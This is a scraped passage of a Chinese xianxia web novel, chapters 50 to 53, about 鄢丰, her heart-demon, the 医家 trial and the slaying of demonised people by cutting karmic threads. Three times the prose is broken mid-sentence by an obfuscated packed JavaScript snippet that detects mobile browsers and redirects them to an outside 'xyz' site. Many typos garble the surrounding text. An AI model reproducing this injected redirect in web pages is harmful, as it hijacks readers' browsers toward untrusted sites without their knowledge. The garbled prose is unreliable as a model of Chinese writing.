“你知道我不是在问这个。”她声音冷静,张了张口似乎想说些什么,却没有说出口,顿了顿,再次完整重复了自己的问题,“我是说,是不是……我们在年年墓前遇见之前,就已经见过面?” 第五昭闻言看了她片刻,又很快低下头。 半晌,他才抬起头,看着她,一字一顿:“没有。” 鄢丰也看了他一会儿,良久才笑了起来:“是吗,那看来……”她又深深看了他一眼,似乎要将他整个人都完全地看穿,半天才说完那句未完的话,“那看来,是我想错了。” 桌子底下,那双苍白的手早已爆起青筋,隐在黑暗中的眼睛荡漾起波澜,又很快,在她的话音中平静下来。 片刻之后,第五昭才回过神,问她:“……你还有什么想问我的吗?” 鄢丰看了看他,笑了笑:“我问,你就会回答吗?” 第五昭于是沉默下来。 鄢丰却继续说:“我最想问你的问题,你已经回答我了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557301|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在……我没有什么其他的想要问你。” 第五昭愣了愣,半天才反应过来她说的那个“最想问的问题”是什么,猛地睁大眼睛,他下意识偏过头,可是下一刻又很快反应过来,忽然站起来朝她走过去。 他的阴影将她整个人都笼罩住,鄢丰微微抬起头看向他,目露疑惑。 “我也有一个问题,想了很久,想要知道你的答案。” “什么问题?” “……” 第五昭却又倏尔沉默下来,不再说话。 鄢丰看到他的瞳孔隐没在黑暗中,却还是不可抑制地闪过红色的光芒,又很快被掩饰下去。 最重要的是…… 她看到他的眼中闪过挣扎、仇恨、恼怒,一系列复杂的情绪,而这一切却让鄢丰无端想起那日在昆山,满阶鲜血中,她无意间对上的他的那双无机质的双眼,恍惚之间不似人类,不似人间生灵,而像是一种…… 山野之间的野兽。 不愿回忆起的记忆再次被唤起,鄢丰终于还是放弃追问,转身走到门前,想要再找一找破咒的方法。 身后的人却冷不防开了口,声音很轻,像是很疑惑,又像是在口中将这些话咀嚼了千百遍,此刻贸然说出口却显得有些胆怯与晦涩。 他的声音难得有些沉静而不是浮躁,像是一个讲故事的人,在娓娓道来: “那一天,在万魔窟,你遇见了苏琬绣。” 是笃定的语气。 鄢丰一愣。 第五昭却不理她的反应,继续道:“从万魔窟出来,从你的眼中……我再也没有感觉到杀意。” 鄢丰定了定神,问:“你是如何知道的?” 第五昭不答,口中却重复着那一天,在万魔窟下,她对苏琬绣说的那句话: “……‘一颗天生魔心,到底能不能,终成琥珀。’”他像是在吟诵诗句,像将这句话在心中千回百转念念了许多遍,此刻终于寻得说出口的机会,他再次看向她,“你本有十世功德,是天道认定的救世之人。你救了那个‘阵眼’,也救了我,救了许多不该救的人……你的拯救,究竟是为了什么?” 他不知何时已经走进了她,几乎尽在咫尺,黑曜石一般的眼睛满是困惑,正一瞬不瞬看着她。 鄢丰打了个激灵,心脏越跳越快,好像在回应他注定无应答的问话。 第五昭的声音恍惚间远去了,她有些听不清楚他的话音,却下意识抽出了剑。 第五昭却微微勾起唇角,说出他的最后一句话: “所以,我想问你……为什么,一定要成圣?” 鄢丰被他一步步逼退,身体猛地撞在门上—— 退无可退。 脑中一片混沌,鄢丰想要回答他的话,她拼命摇头,她想说虽然她忘记了一些事情,可是,那个原因在她的心中根深蒂固,乃是她的—— 理想。 可是说不出口。 因为她发现自己的身体开始不受控制地行动起来,利剑出鞘发出尖锐的声音,第五昭却一步也不退,反而露出一个得逞的笑容,稳而准地捏住她的剑锋。 与此同时,门口传来剧烈的灵力波动,黄色的符纸消散在空中,鄢丰猛地跌出门外,第五昭的力度越来越大,带着那柄略微偏斜的剑指向自己的心脏。 “往这里刺……这一次,你就真的,可以杀死我了。” 最后一刻,鄢丰只听到了自己的声音。 明明是冷静而平常的,又好像……与野兽的嘶吼,并无两样。 “谁也不能……违、背……” 后颈传来一阵剧痛,鄢丰没有看到,明月已褪去血色。 身后,聂听琴兀然现身,看着鄢丰几乎被白色淹没的眼睛,看向第五昭:“你可有得到……想要的答案?” 51. 交缠(一) 鄢丰觉得自己这次醒来,仿佛出现了严重的幻觉。 否则的话,为什么每一次灵珠走进来给她送药换药的时候,她总能看到,那晚的那只幻影,幽灵一般扒在灵珠小小的肩膀上,正目光炯炯地看着她……? 灵珠似乎也变了很多,鄢丰却说不上来到底哪里变了。 日子平静得有些诡异。 这日灵珠照例为她送药,身体上的伤口在医家独门秘术的治疗下已经好得差不多了,但她还是日日照例送药来。 每喝下一碗药,鄢丰便觉得自己的幻觉越来越严重了。 她问灵珠:“那晚过后,你可有找聂前辈,你师父看过伤?” 其实问的不是伤口,而是那枚被误用在她身上的符咒。 灵珠闻言愣了愣,看向她的眼神很快得闪过一点儿阴郁之色又很快被很好地掩藏好。 她朝她露出一个一如往常的笑容,毫无阴霾:“师父说没有大碍,要我好好修养便是了。”顿了顿,她又催促她继续把药喝下,“师父说了,这药可以缓解你入魔的速度,也可以让心魔蔓延和影响你的能量减弱。……鄢丰姐姐,你可得趁热喝了,药效才好。” 鄢丰点点头,却仍然盯着眼前那碗药,没有动作。 灵珠似乎意识到了什么,站起身便若无其事地告了别,往外走 鄢丰却在她即将踏出门的那一刻冷不防开口问:“你真正的名字是什么?” 灵珠脚步一顿,片刻后她转过头,微微笑着,不解地偏过头:“鄢丰姐姐,我是灵珠呀?” 鄢丰却死死盯着她,毫无退让之意:“你不是灵珠。” 那道幻影好像更加明显了,随着她的话音笑着朝她微微点头,似乎在肯定她的猜测一半。 鄢丰心中无端一悚,她强自压下心中的悚然, 今日那道幻影化作了贺灵的模样,笑眼瞧着她总让她想起往日在家中无忧无虑的生活。 可她微微朝她笑着的模样,却无端让她感到悚然一惊。 她强自压下心中的悚意,面上不动声色地看着灵珠,似乎在等她的回答。 灵珠面色不变,只是看了她一会儿,半晌说:“鄢丰姐姐,你是不是病还没有好?……我请师父过来再为你看一看吧。” 鄢丰不答,只是看着灵珠慢慢关上门,门内又剩下了她一个人。 翌日,灵珠果真将聂听琴请来了。 女子步伐一如既往优雅缓慢,不紧不慢走进屋里,坐在她对面,开门见山地问:“你发现什么了?” 鄢丰不答反问:“灵珠去了哪里?” 聂听琴笑了笑,明知故问:“这些天日日给你送药的,不是灵珠,又是谁呢?” 鄢丰看着她,冷静道:“那天晚上,那些孩子拿着一枚符咒莫名其妙跑进我的房间,说要取我的血,救他们的师姐。” 聂听琴不置可否,不说话,示意她继续说下去。 “可是最后,锐思替灵芝挡下了第五昭的攻击,还让腾河立刻给她用了那张符。” “那又如何呢?小孩子啊,”聂听琴低头看着恶自己新涂了丹蔻的指甲,“慌张之下,做出什么也不稀奇。” 鄢丰却一字一顿,直接说出了结论:“……只有两种可能。灵珠就是他们的师姐,可是这样以来,却说不通他们为什么将灵珠绑起来,灵珠粉末ing身体康健,又谈何‘救’呢?所以,他们口中的师姐,要么是想要夺舍灵珠的身体重生,要么……就是灵珠的身体里,寄居着两个灵魂。” 说到这里,鄢丰无端地想起裂缝之下的小瑞。 那一天,鄢年就是这样毫无征兆地出现了。 只需要一个眼神她便能认出她来。 聂听琴静静听完,笑了一声,说:“不愧是她看中的孩子,你果真是,悟性极佳。那你不妨再猜一猜,”她手中银光一闪,鄢丰下意识警惕起来,可是意识就随着她的话音渐渐远去了,眼前只有那道闪闪的银针,眼睁睁看着她没入心间,耳边最后的声音是聂听琴的问话,“这些天,我给你喝的药,吃了为你治疗伤口……还有什么作用?” 意识彻底消弭,最后一个念头是…… 这便是儒家的,北辰之术啊。 . 再次醒来的时候,鄢丰发现自己被关在一件暗室之中。 她睁开眼睛,便对上灵珠不再掩饰的包含怨恨的眼睛。 两人一时间谁都没有说话,半晌,鄢丰沙哑着声音开口:“现在可以告诉我,你的名字了吗?” “灵珠”冷淡地看她一眼,终于开口:“我叫明曲,是聂听琴……名副其实的,第一个徒弟。” 鄢丰觉得她的眼神有些古怪,可是扒在她肩膀上的那只幻影的存在感实在是太强了,她的视线只片刻便被这只幻影勾走了。 它越来越清晰,也越来越像鄢年了。 鄢丰微微蹙起眉,便听到明曲冷声说:“你在我的身上,看它那么久了,怎么从来不问我呢?” 鄢丰一愣。 ——果然不是幻觉。 提起这个,明曲似乎有些情绪激动,她猛地靠近她,死死盯着她的眼睛:“还是说,你是怕了,怕这东西伤害你,便宁可让它永远永远永远都——扒在我的身上?!” 她的声音忽然变得尖锐刺耳,鄢丰不及反应,被她尖锐的指甲割破了皮肉。 她蹙着眉将她强行推开,冷静地问:“那到底是什么?” “你还不明白吗鄢丰,那是你的心魔啊!” 明曲毫不犹豫地点破真相,鄢丰却怔愣在原地。 因为,随着她的话音,那道幻影的模样也改变了。 她变成了聂听琴的模样,正死死纠缠住明曲纤细脆弱的脖颈! 鄢丰大惊失色,下意识抽出腰间配件,挥出一道剑气,将那道幻影的形态挥散了一些。 明曲跌坐在地上,大口大口呼吸着新鲜空气,眼中却溢出红色的血丝来。 那心魔仍然不依不饶,被毁三了片刻便又再次汇聚成形。 只是它似乎忌惮着鄢丰,这一次没有再轻举妄动。 鄢丰定定看着那道心魔,半晌听到明曲的声音:“只有你才能毁掉自己的心魔……”她的声音有些沙哑,片刻后她西行者拉住她的衣角,声音忽而哽咽起来,“救救我吧鄢丰……只有你,只有你能够救我,鄢丰……求求你,你快把那东西毁了,求求你……” 鄢丰蹙着眉看着她大起大落的情绪,抿唇不语。 明曲曲不依不饶:“你到底在犹豫什么?!斩心魔而已,心魔也是魔啊……魔,不就是都应该被无条件地斩杀掉吗?!” 她的声音尖锐刺耳,像是指甲划过墙壁发出的那种令人心灼的声音。 那道心魔不知为何,随着明曲的话不断地变大、膨胀起来。 鄢丰握紧剑,似乎下一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557302|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便会将那道心魔彻底挥散。 “没用的鄢丰,心魔和魔一样,不能用寻常的剑气斩断……”明曲站起来,看着鄢丰,似乎又什么话想说,却最终没有说出口。 鄢丰偏过头,似乎在等她的下文。 明曲默了默,却讳莫如深地说:“你想帮我吗?……我知道斩杀心魔的方法。” 她不等鄢丰反应,便自己踱步到暗室的桌前。 鄢丰这菜注意到这间暗室中放了一张小桌,上面还放着一碗散逸着血腥气的药碗。 这间屋子里的血腥气原来全都来源于这碗药。 明曲站在桌子前,拿下巴指指那碗药,说:“喝下这碗药,你变能够短暂地看到因果线。” 鄢丰愕然。 明曲继续说:“你知道的吧?彻底斩杀魔的方法只有一个,那边是斩断,所有和它相关的因果线。” 鄢丰定定看着明曲,半天,不答。 明曲也不闪不躲地和她对视,半晌,她终于有些不耐烦了,催促道:“怎么样?这个办法,既能帮你斩断心魔,又能救我……也是救灵珠。只需要你斩断那些密密麻麻的乱线。” 鄢丰脑中却无端回想起那一日在小院中,第五昭哂笑着问她的那一句话: “——人为什么一定要成圣?” 她感到有些恍惚,却不想明曲已经端起碗扑了上来,将那碗药强灌入她的喉中! 鄢丰被扑面而来的血腥气呛得不住咳嗽,可是明曲像是疯了一样,力气极大,死死将她钳制住,要将那碗药全部灌入她的喉中! 鄢丰不断挣扎,可是她知道,灵珠还在这句身体当中,她不能出剑。 而如果不能出剑,如今的她其实根本无力防抗着将死之人最后的挣扎。 “真的要那么做吗,鄢丰。” 聂听琴的声音冷不防想起,明曲听到她的声音,身体条件反射地打了个冷颤,力道述而松了一些,鄢丰猛地睁开她的钳制,呛得不住咳嗽起来。 那碗药被人失手仍在地上,发出一声清脆的响声。 血腥气收拢不住地散逸在暗示中的每一寸空间。 聂听琴置身事外地站在两人三尺之外,此刻才缓缓开口:“斩断因果线,和剜眼睛可不一样。” 鄢丰闻声吵她看去,尽管室内一片黑暗,他们那几乎什么也看不清。 可是此时,却好像又什么光源突然出现在了屋子里,她接着那一点微弱的光芒,看清了聂听琴的笑脸。 与此同时,更加清晰地浮现在眼前的,是那一条一条,悬浮在空中,密密麻麻,不断向外延伸的红色细线。 ——那碗药终归还是大半灌入了她喉中。 密密麻麻,数不清数量的红线一端连接着她,另一段,连接着无数她能看到、或看不到的人。 譬如聂听琴,譬如明曲,譬如…… 门忽然被人打开,那点微弱的光芒很快被门外的天光完全遮盖,鄢丰愕然抬头,在对上那双浓黑双眼之前,线映入眼帘的是那一条鲜红的丝线,和那条丝线与众不同的色泽—— 与其他的红线不同,这条线的颜色格外鲜艳刺目,更重要的是,在这条红色细线之上,似乎还隐隐约约缠绕着一条黑色的,更细、更不易察觉的线。 可是在光芒与鲜艳色彩的衬托下,那条黑色的线又显得那么明显。 鄢丰一时间愣在原地,良久也说不出一句话。 52. 交缠(二) 倒是聂听琴看清来人模样,低低笑了一声:“我道是谁来了呢……你来,是想要英雄救美?”她着重在后面四个字咬字,却无端显出八分讥诮意味来,果不其然,下一刻她便哂笑一声,“可叹你如今自身都难保了,你还管得了她?” 鄢丰这时候终于回过神,目光轻飘飘从第五昭身上移开,借着天光看向聂听琴讥笑着的脸:“前辈无意害我,他闯进来,又怎么可说是救我呢?” 聂听琴回过头,露出一个意外的神色,她看了她一会儿,收敛了笑,一字一顿地说:“如果我说,我确实没想着让你活着离开医家呢?” 鄢丰说:“我不会死。” “哈哈哈哈哈哈哈……”聂听琴不可抑制地笑了起来,她终于迈步朝着鄢丰的方向走来。 她停在离她极近的地方,将她细细端详了一番,半晌,冷声说:“你可知道那碗药的药引,是什么?” 不待鄢丰回答,第五昭先一步替她回答了这个问题:“……我的血。” 在鄢丰愕然的目光中,第五昭定定重复道:“那不是药,那是我的血。” 聂听琴看了他一眼,慢慢道:“不错。” 沉默良久,聂听琴说:“你先前答应我,我替你找回记忆,而你,参加我们医毒一派的试炼。现在,到了你做出选择的时刻了……”说到这里她顿了顿,扭头看了第五昭一眼,低声喃喃,“也不知道你来这里搅和什么?……这是只属于她的试炼,也只有她能过作出选择。而我和她的约定,容不下旁人来节外生枝。” 这话是对第五昭说的,他却并不回答,只是定定看着鄢丰。 鄢丰点点头:“愿闻其详。” 聂听琴看着一室狼藉,说:“你不是都看到了吗,还需咬我来解释么?” “能不能找回你失去的记忆……可全都在你的一念之间呀。” 一股不详的预感忽然涌上心头,鄢丰看着聂听琴的古怪的眼神,一时间忽然明白了什么。 她睁大眼睛,下意识后退一步,声音不可抑制地颤抖起来: “……要想救灵珠,我便只有舍弃全部的记忆?” “不止如此。”聂听琴笑了笑,“留下你的心魔,你才能回你的墨家,解决那些杀不掉的‘魔种’啊……” 鄢丰猛地一个激灵,眼前的因果线似乎更加鲜红了,鲜红得触目惊心,她下意识地摇摇头,不断后退,却被人抓住了脚腕。 她低下头,对上明曲木子欲裂的眼睛,她一面流泪一面如痴如癫狂地死死拽住她的脚腕,口中乞求着:“救救我,救救我吧鄢丰……你杀了我,灵珠也活不了!鄢丰……”片刻后她的面孔似乎又变了变,一双清凉、黑白分明的眼睛紧紧盯着她,一边哭一边说,“鄢丰姐姐,鄢丰姐姐……救救我……好难受、好痛……” 鄢丰微微失神。 因而她错过了第五昭的动作。 之间一道黑影从眼前闪过,她来不及反应,便看到第五昭用手指隔开手腕,掐着明曲的下颌便将汩汩流出的鲜血灌入了她的口中! 明曲挣扎着想要挣脱,可是那些汩汩流出的血液根本不受控制地流入她的喉中,她被浓郁的血腥气和魔气灼得不断呛咳,脸都几乎完全涨红了。 鄢丰这时回过神来,她不知道他要做什么,可是下意识想要组织。第五昭只是另一只手将她的剑紧紧握住,她不想贸然抽剑,血已经在片刻之间金属被明曲咽下,第五昭这才松开手。 眼前晃过一抹血色,鄢丰恍然发现,这只手上似乎还有一道尚未痊愈的疤痕。 ——原来那日在裂缝之下,她便是刺伤了他的这只手。 只是,那道伤口有这样深吗,深到这么长的时间,他竟然始终未能痊愈。 可是鄢丰来不及继续思考。 因为下一刻,第五昭便轰然倒在地上,手腕上的伤口还在不断流出血来,可是很快便消失了。 唯有心口再次毫无征兆渗出的那枝小小的嫩芽,似乎又长大了一些。 似乎注意到他人的注视,那株幼苗很快缩进了他的心口里,看不见了。 聂听琴笑了起来:“看来,他替你做了选择。” “……什么意思?” 聂听琴没有回答,但是下一刻鄢丰便明白了。 因为在这一片黑暗当中,她突兀地对上了一双,被红线缠住的眼睛。 是明曲的眼睛。 她好像冷静下里了,又好像变得更加疯狂。 她不可抑制的狂笑起来,然后再一次死死抱住鄢丰,不断哀求她就她。 就像那一日在尚贤城,采春的模样一半。 鄢丰冷漠地将她踹开,在聂听琴的讶异目光中,她猛地削去她的左臂! “啊!!!!” 明曲发出一声痛极的惊呼,鄢丰居高临下地看着她:“……清醒一点,你或许还能多活一段时间。” 听到她的这句话,明曲愣了愣,冷笑起来:“多活一段时间?哈哈哈哈……你怎么有脸对我说这种话?鄢丰,如果不是你,我怎么会变成这样?你看着我的眼睛!你看看,这里面的恶因,有多少、有多少是因为你来了,有多少是因为,你明知道自己的血那么危险,还敢随便地让那些傻孩子带走?!” 鄢丰却前所未有的冷静,闻言心中也并没有什么起伏,她只是看着明曲,轻声说: “只要还能多活一天,你便还有得救的希望。” 或许是因为她过于冷静了,明曲的神色也终于冷下来。 然而下一刻,铮一声轻响,她不知从哪里抽搐一把小刀来,执起那把刀便要刺向地上昏迷不醒的第五昭! 鄢丰连忙握住她拿刀的手:“你做什么?!” 明曲冷冷笑着:“我活不了,你们这些害了我的罪魁祸首,也都别想活!!!!” 鄢丰神色一冷,她反手躲过明曲的刀,将她反手背在身后,将她制伏在地上。 她冷声在她耳边说:“你若再轻举妄动,我可以现在就杀了你。” 明曲沉默下来。 鄢丰问:“现在,你能够看到因果线吗?” 明曲默了默,还是不情不愿地点点头。 鄢丰又说:“你可愿同我一起回到墨侠派,帮我斩杀入魔者?” 明曲一愣:“……你不杀我?” 鄢丰淡声说:“我说了,你只要多活一天,便能多一分活下去的可能。” 明曲惨淡地笑了:“若我来日彻底成魔,你又怎么杀我?” 鄢丰不答,只是看向聂听琴:“聂前辈,” 聂听琴冷眼看着眼前这一幕,似乎对她的选择多有不满。 但是很快她又笑了笑:“他替你做的选择,可不是现在这样……”他撇了撇第五昭,“那么,你要带着一个隐患回到墨家……放弃恢复记忆吗?” 鄢丰定定看着聂听琴,甘镬剑应召而来,剑光晃过,那些缠绕在鄢丰身上,另一段连接着那道幻影的红色细线,应声断裂。 那道幻影似乎痛苦极了,它不可置信地看着她斩断丝线,尖叫着在空中消散,连最后一点儿魔气也消失不见了。 聂听琴似乎真的有些愤怒,她冷冷笑了笑,屋内的气压都降低刀冰点。 “好,好……哈哈哈哈哈……赵花骨,这就是你教出来的好徒弟……哈哈哈哈哈哈哈哈,这就是你看中的好苗子?!哈哈哈哈哈哈哈哈……” 她自顾自地狂笑起来,一直沉默不语的明曲却忽然挣动了一下。 鄢丰警惕地低下头,却猛地对上一双黑白分明、毫无阴霾的眼睛。 “鄢丰姐姐。” 鄢丰一愣,试探着问:“……灵珠?” 灵珠眼睛动了动,朝她咧嘴一笑:“鄢丰姐姐,谢谢你。……谢谢你救了我。” 鄢丰忽然感到心中压着的那些重担在这笑容之下全都散去了,眼前唯有灵珠的笑容,好像一道阳光,拨开所有云雾。 半晌,她才找回自己的声音,愣愣地问:“……你的眼里,为什么没有因果线?” 灵珠不解地偏了偏头:“其实我也不知道。不过师父说……魔气是一种很特殊的毒,她会浸染人心,而不是侵害人的身体。也许……两个灵魂,便有两颗心吧?” 鄢丰一愣。 她回过头,争相向聂听琴求证这番话的真意,却发现她不知合适已经离开了屋子。 随着她的离开,这间暗室忽然变得明亮起来,不知何时出现了一扇窗子,让光芒得以照射进来。 鄢丰顿了顿,问:“……明曲说得对,如果不是我来到这里,你或许就不需要面对这样的事情。” 灵珠摇摇头:“不是这样的,明师姐说错了。” 鄢丰一愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557303|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 灵珠摇摇头:“……换作是我,我也会作出和你一样的选择。” 鄢丰一愣。 她无端想起一个人。 想起,在聂听琴口中,屡屡提及的那位,墨家前代钜子。 那一年,当鄢丰指天指地,向天道立誓,要拯救苍生于水火之前,她第一次见到了这位钜子。 鄢丰觉得,百闻不如一见。 难怪连那位舒泓前辈都甘心为这位钜子做事,因为她着实是她见过的这世界上,至纯至善的一个人。 她叩开她的门,门内传来一道清脆的声音。 “是鄢丰来了吗,请进。” 鄢丰在昆山,有许多师妹师姐。 但是头一次听到一个季像是极不谙世事的少女,又像是饱经沧桑的游子一样的声音。 她好奇地走进屋里,赵花骨正在沏茶,看到她来,便弯起眼睛招呼她:“来喝茶,这是我刚托璧月替我才来的春茶,好喝极了。” 可是那时候鄢丰无心饮茶。 她穿着一身白衣,看起来和平常无异。 但是熟悉她的人便能看出,这不是寻常的道袍,这是一身……丧服。 贺灵的死带给她的阴影远远超出所有人的想象,所有人都以为贺灵以自己的死,逼她更快地做出了选择。 但只有赵花骨看出来,贺灵的死,不仅没能让她成为真正有担当的救世主,反而……从最根本的地方,毁了她的道心。 取而代之的,是一只潜藏在她心底深处的心魔。 这只心魔并不常常出现,并不以寻常的方式侵扰她。 更多的时候,她藏在她的心底,它将它心中所有的希望、爱与善意,尽数啃食殆尽。 她看到她第一眼,便不可抑制地叹息一声: “可惜,我今日才见到你。” 鄢丰不解:“前辈认识我?” 那个时候鄢丰已经以一招“非命”名扬修界,这是墨家的招式,赵花骨听说过她并不稀奇。 可是她却摇摇头:“不。”她默了默。很久没有说话。 久到她刚泡好的春茶都凉透了,鄢丰以为自己说错了什么话,正要惊慌失措不知道该如何道歉,赵花骨才终于冷不防开了口: “我是说,穿上这身衣裳之前的你……一定非常耀眼。” 鄢丰一愣。 她却不再解释,她突然回过神,笑得忽然有些腼腆,不好意思地亲自替她倒了一杯茶推到她的面前: “抱歉,让你久等了……这杯茶也凉了,希望它还像刚才一样好喝。” 鄢丰觉得她意有所指,却看不懂她的言下之意。 她只能笑着接过那杯茶,说:“我喜欢和凉茶……夏日炎炎,凉茶正好解暑。” 赵花骨笑而不语,片刻之后问她:“你从昆山来?” “正是。” “你要忘何处去?” 鄢丰沉吟片刻,摸不准她想要问些什么,犹豫了一会儿才回答:“我要去参加修界的弟子大会。在那场大会上……我要向天道起誓。”她顿了顿,一字一句地看着赵花骨说,“我要在哪里,发誓,成为这个世界还是那个唯一的,最终的……救世主。” 赵花骨似乎并不意外,闻言低声笑了笑,然后说:“……你已经想好了吗?” 鄢丰点点头:“想好了。” 她笑了笑:“你真的想好了吗?可是我看到,你的心……好像还没有准备好。” 鄢丰一愣。 那潜藏在心底深处的声音忽然出现了,一律似有若无的魔气在她的身上闪现片刻,有很快消散:“……那又怎么样呢?” 鄢丰定定看着赵花骨,说:“我的是鹅姐已经为此牺牲,我的师父、我的师门……他们都将要为此而死,如果我再不做出选择,我还要再失去多少重要的人呢?” 赵花骨笑而不答。 半晌,她说:“他们这是在逼你。” 鄢丰不置可否,她看着她,诡使神差地问:“如果是前辈,你会怎么做?” 赵花骨不答,只是看向窗外,说了许多别的话, 到了离开的时候,鄢丰也并不远抱着得到答案的希望。 可是赵花骨却在她踏出房门之前的最后一刻说: “如果是我的话……我也会,作出和你一样的选择。” 53. 交缠(三) 翌日,鄢丰又一次遇见了聂听琴。 聂听琴是专程来找她的。 “聂前辈。” 鄢丰又恢复了往日的礼貌/ 聂听琴却不再提灵珠的事情。 自昨日已过,灵珠变自发地搬到了他的居所,对此,聂听琴也什么都没有说。 她只是问:“你这一次回墨家,不会有结果的。” 鄢丰点点头:“我正有意识,想要摆脱前辈。……也只有前辈能帮我。” 聂听琴冷笑啊:“你这样破坏了我医家的试炼,我怎么可能帮你?!” 鄢丰却有些不解:“我并没有触犯医家试炼的任何禁忌,我也确确实实,做出了选择,斩断了心魔。……谈何触犯?” 聂听琴不语,只道:“你希望我能帮你,吧你和灵珠的事业暂时缓一缓?” “正是。” 斩断因果线,最重要的激素让因果线显形。 如果根本无法看到因果线,那么斩断音符哦线变无从谈起。 但是,能过看到因果线仍然只是第一步。 更重要的是,让因果线能过被触摸。 “我确实对此有相当的研究,说起来,和你也颇有渊源。” 鄢丰正带追问,她1却不再说了,只是道:“我需要你的血,还要你的一个承诺。” 鄢丰一愣:“……什么承诺?” 聂听琴盯着她,一字一顿地说:“我要你,解决了魔侠派的卵子之后,先来参加我儒家的试炼。” 鄢丰有些差异。 “为什么露出那样的表情?这件事情,”聂听琴偏过头看着她,“你在初初见到我的时候,不就已经猜到了吗?” 鄢丰却是在最初猜测,也许试炼的顺序和七情入魔的顺序是有关联的,而非随意选择,可是她在医家也停留了太久,再加上聂听琴邀请她参加医家毒派的试炼,也让她大笑了这个才想。 片刻后,鄢丰不再犹豫,点点头:“我答应前辈。也希望前辈,能过旅行约定。” . 鄢丰第二次叩开温璧月的门,温璧月正面色凝重地和叶商在一起,似乎面对着十分棘手的事情。 鄢丰正想问是什么事情,又想起如今的自己或许是没有这样的立场了,便闭上了嘴。 倒是无力的叶商看到她来,便招呼立刻进门:“……你去医家了?” 鄢丰点点头:“我在有实拍,被儒家的聂听琴聂前辈救下了……她带我,去了医家。” 叶商扫了一眼她完好如初的右臂,没有多问:“也好。这一路试炼凶险十分,你先前自断一臂,毕竟是吃大亏的。” 她看了她一眼,并不避讳他们呢此刻在谈论的内容,大大方方把手里的文件拿给她看。 “这是今日,尚贤城中,彻底成魔者的名册。” 鄢丰一愣。 叶商眼睛紧紧盯着她,似乎在等着她的某些承诺。 鄢丰似有所感地与她对视,道:“我在医家,在聂前辈的帮助下,确实……找到了使因果线显形的办法。” “你已经确保万无一失?” 鄢丰点点头。 聂听琴给的药恰恰在今日生效,情况紧急刻不容缓,这是鄢丰自己要求的。 她拿出聂听琴给的符咒和药水,一份自己喝下,一份给灵珠喝下。 片刻之后,一股浓郁的魔气将整个犯贱都布满了,鄢丰下一刻睁开眼睛,入目是满眼鲜红的色彩。 鄢丰一时有些慌神,但很快她就回过神,握着剑站了起来。 她起初走起路都有些不适应,走得很慢。 直到推开门她才感到如梦方醒。 叶商站在门外等她,早感受到屋里扑面而来的魔气,却并没有多问,只是朝着她微微颔首:“跟我来。 节葬楼已经完全变了一个模样。 甫一靠近,便能感受到铺天盖地的魔气扑面而来,仔细听,还能听到野兽一般的嘶吼。 叶商面无表情地拿出钥匙打开门,对鄢丰做一个手势:“进去吧。” 鄢丰走进节葬楼,门应声关上。 数双猩红的眼睛在黑暗中照射出骇人的光芒,鄢丰抽出剑,在眼前反复闪烁的红色因果线上一剑、一剑将它们尽数砍断。 一切都和在失落之地那日一模一样,耳边不断传来嘈杂混乱的声音,全是入魔者心魔的声音。 鼻尖充满腐臭气味。 但不同的是,这一次,她能够看到那些入魔者的模样。 能够看到砍断因果线时他们片刻清醒的模样——痛苦而解脱。 她心中无端一痛,但受伤的动作却一刻也不听,只是不断往前走,不断前进…… 这些入魔者已经被叶商用墨家的特殊禁咒束缚住,他们不会伤害她,但鄢丰仍然能够听到因果线被斩断时他们痛苦的吼叫声…… “啊——!!!!” 在一声声惨叫中,彻底消散在原地,连一丝痕迹,也不留在这世上—— 魂飞魄散。 一路走、一路斩。 眼中鲜红的色彩却没有一点儿消减的迹象。 鄢丰不知道自己在这里呆了多久。 屋外,天第十次亮起的时候,叶商曾经看到节葬楼内的光景。 她看了一眼申请麻木的鄢丰,又看了看隐藏在节葬楼最深处的那个,神智全无、四肢都被人残忍的砍断的魔物,淡声问一遍的灵珠: “……她还没有恢复记忆,是吗。” 灵珠顿了顿,说:“……她已经把自己的心魔斩了。师父说……她的记忆,找不回来了。” 叶商脸上依然没什么表情,只是微微扯起唇角:“是吗。” 与此同时,楼内,鄢丰终于走到了节葬楼的尽头。 在那无边的黑暗中,对上楼中最后一只魔物猩红的眼睛。 鄢丰却无端认出,那是采春的眼睛。 她一剑、一剑斩断舟山密密麻麻的因果线,采春似乎在这个过程中亲醒了片刻,颤抖着声音喊她: “……鄢……丰……” 鄢丰瞳孔皱缩,她终于发出时日来第一声试探的问候:“采春?” 对面的魔物动了动,似乎听懂了她的这声呼唤,朝她的方向更近了一些: “……鄢丰,快……杀……了我……” 鄢丰一愣。 可是接下来,无论她说什么,采春始终只是重复着这样一句话。 “杀了我,快杀了我……杀了我杀了我杀了我杀了我杀了我杀了我…………” 